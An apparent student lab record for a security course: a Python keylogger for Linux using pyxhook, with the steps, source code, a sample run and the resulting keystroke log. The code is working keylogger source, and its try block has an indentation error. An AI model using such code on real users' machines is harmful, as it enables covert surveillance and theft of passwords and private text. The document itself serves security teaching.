EXP NO: 4
DATE: 16/03/24

KEYLOGGERS

AIM:

To write a python program to implement key logger to record key strokes in Linux.

ALGORITHM:

1. Check if python-xlib is installed. If not type the command- dnf install python-xlib -y
2. Run pyxhook file using the command- python pyxhook.py
3. Create a file key.py
4. Run key.py to record all key strokes.
5. Open file.log file to view all the recorded key strokes.

PROGRAM:

```
import os
import pyxhook
log_file = os.environ.get( 'pylogger_file', os.path.expanduser('~/Desktop/file.log'))
cancel_key = ord( os.environ.get( 'pylogger_cancel', '`')[0])
if os.environ.get('pylogger_clean', None) is not None:
        try:
                os.remove(log_file)
        except EnvironmentError:
                pass
def OnKeyPress(event):
        with open(log_file, 'a') as f:
                f.write('{}\n'.format(event.Key))
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try:
new_hook.start() # start the hook
except KeyboardInterrupt:
                        pass
except Exception as ex:
        msg = 'Error while catching events:\n {}'.format(ex)
        pyxhook.print_err(msg)
        with open(log_file, 'a') as f:
                f.write('\n{}'.format(msg))
```

OUTPUT:

```
┌──(kali㉿kali)-[~/Documents/cnslab]
└─$ python3 keylogger.py
Hello
CNS LAB
^Z
zsh: suspended  python3 keylogger.py
```

File.log:

```
1 Shift_L
2 H
3 e
4 l
5 l
6 o
7 Return
8 Shift_L
9 M
10 e
11 a
12 BackSpace
13 BackSpace
14 BackSpace
15 Shift_L
16 C
17 N
18 S
19 space
20 Shift_L
21 L
22 Shift_L
23 A
24 B
25 BackSpace
26 Shift_L
27 B
28 Control_L
29 Return
30 Control_L
31 z
32
```

RESULT:

Thus, a python program is implemented to demonstrate key logger to record key strokes in Linux.